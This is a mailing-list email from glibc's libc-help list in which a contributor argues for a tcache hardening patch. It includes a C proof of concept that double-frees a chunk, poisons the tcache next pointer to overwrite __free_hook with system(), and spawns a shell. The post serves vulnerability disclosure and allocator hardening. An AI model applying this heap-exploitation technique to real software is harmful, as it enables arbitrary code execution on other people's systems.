From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: (qmail 128398 invoked by alias); 21 Apr 2018 00:58:27 -0000 Mailing-List: contact libc-help-help@sourceware.org; run by ezmlm Precedence: bulk List-Subscribe: List-Post: List-Help: , Sender: libc-help-owner@sourceware.org Received: (qmail 128378 invoked by uid 89); 21 Apr 2018 00:58:26 -0000 Authentication-Results: sourceware.org; auth=none X-Virus-Found: No X-Spam-SWARE-Status: =?ISO-8859-1?Q?No, score=-1.1 required=5.0 tests=AWL,BAYES_00,BODY_8BITS,GARBLED_BODY,HTML_MESSAGE,RCVD_IN_DNSWL_LOW,SPF_FAIL autolearn=no version=3.3.2 spammy=20184, 2018=e5=b9=b44=e6, 21=e6, attacks?= X-HELO: omta01.auone-net.jp Received: from mail-or0-f67.auone-net.jp (HELO omta01.auone-net.jp) (106.187.230.67) by sourceware.org (qpsmtpd/0.93/v0.84-503-g423c35a) with ESMTP; Sat, 21 Apr 2018 00:58:23 +0000 Received: from mail.shift-crops.net (KD027091122004.ppp-bb.dion.ne.jp [27.91.122.4]) by omta01.auone-net.jp (au one net mail) with ESMTP id B1902980002; Sat, 21 Apr 2018 09:58:20 +0900 (JST) Received: from [IPv6:::ffff:192.168.110.3] (unknown [192.168.110.3]) by mail.shift-crops.net (Postfix) with ESMTP id 9827D10E8014; Sat, 21 Apr 2018 09:58:20 +0900 (JST) MIME-Version: 1.0 To: =?utf-8?Q?Ond=C5=99ej_B=C3=ADlka?= Cc: "libc-help@sourceware.org" From: =?utf-8?Q?=E6=B8=85=E6=B0=B4=E7=A5=90=E5=A4=AA=E9=83=8E?= Subject: RE: malloc/free: tcache security patch Date: Sat, 21 Apr 2018 00:58:00 -0000 In-Reply-To: <20180420213618.GA12494@domone> References: <20180420124408.3C16F10E8052@mail.shift-crops.net> <20180420213618.GA12494@domone> Message-Id: <20180421005820.9827D10E8014@mail.shift-crops.net> Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-SW-Source: 2018-04/txt/msg00016.txt.bz2 I already read this post, but I sent an email because there was no patch. "malloc: Security implications of tcache"(https://sourceware.org/ml/libc-al= pha/2018-02/msg00298.html) Certainly it is important to find vulnerabilities in user programs in first. However, as long as there is a possibility that a bug exists, it is necessa= ry to protect it with glibc. > In short malloc check don't protect you and can't protect you. This > patch only makes malloc slower for false sense of security. The patch can protect you from the following attacks without buffer overflo= w. ``` #include #include #include typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; int main(void){ void *a; tcache_entry *p; unsigned long *s; a =3D malloc(0x20); dprintf(0, "Malloc from %p, and free three times.\n", a); free(a); free(a); free(a); p =3D malloc(0x20); p->next =3D &__free_hook; dprintf(0, "Malloc from tcache(%p) and tamper tcache_entry's next i= nto __free_hook(%p).\n", p, &__free_hook); malloc(0x20); s =3D malloc(0x20); *s =3D system; dprintf(0, "Now, you can malloc from __free_hook(%p)\n" "Write system to __free_hook, and get a shell!\n\n", s); free("/bin/sh"); } ``` > Attacker could use buffer overflow in lot of ways before its freed. Also > attacker could with some effort examine check and fake data structure to > make check pass. Attacker still can easily pass double free checks in tcache_put. However, bypassing the chunk size check in tcache_get is very difficult. You can prevent malloc from arbitrary address. Windows 10 =E7=89=88=E3=81=AE=E3=83=A1=E3=83=BC=E3=83=AB=E3=81=8B=E3=82=89= =E9=80=81=E4=BF=A1 =E5=B7=AE=E5=87=BA=E4=BA=BA: Ond=C5=99ej B=C3=ADlka =E9=80=81=E4=BF=A1=E6=97=A5=E6=99=82: 2018=E5=B9=B44=E6=9C=8821=E6=97=A5 6:= 36 =E5=AE=9B=E5=85=88: =E6=B8=85=E6=B0=B4=E7=A5=90=E5=A4=AA=E9=83=8E CC: libc-help@sourceware.org =E4=BB=B6=E5=90=8D: Re: malloc/free: tcache security patch On Fri, Apr 20, 2018 at 09:44:10PM +0900, =E6=B8=85=E6=B0=B4=E7=A5=90=E5=A4= =AA=E9=83=8E wrote: > Hello >=20 > I'm Yutaro Shimizu (ShiftCrops). >=20 > I want to patch malloc.c. > The mechanism of tcache is very similar to fastbins. > However, I can malloc from arbitrary addresses by tampering the tcache_en= try. > That's because there is no chunk verification process. > I think it is an important security issue. >=20 This was discussed recently, search archives. In short malloc check don't protect you and can't protect you. This patch only makes malloc slower for false sense of security. Attacker could use buffer overflow in lot of ways before its freed. Also attacker could with some effort examine check and fake data structure to make check pass. These are mainly used as tool to debug malloc implementation. That they sometimes serve as poor's man valgrind is secondary. You should use valgrind to find and fix buffer overflows in first place.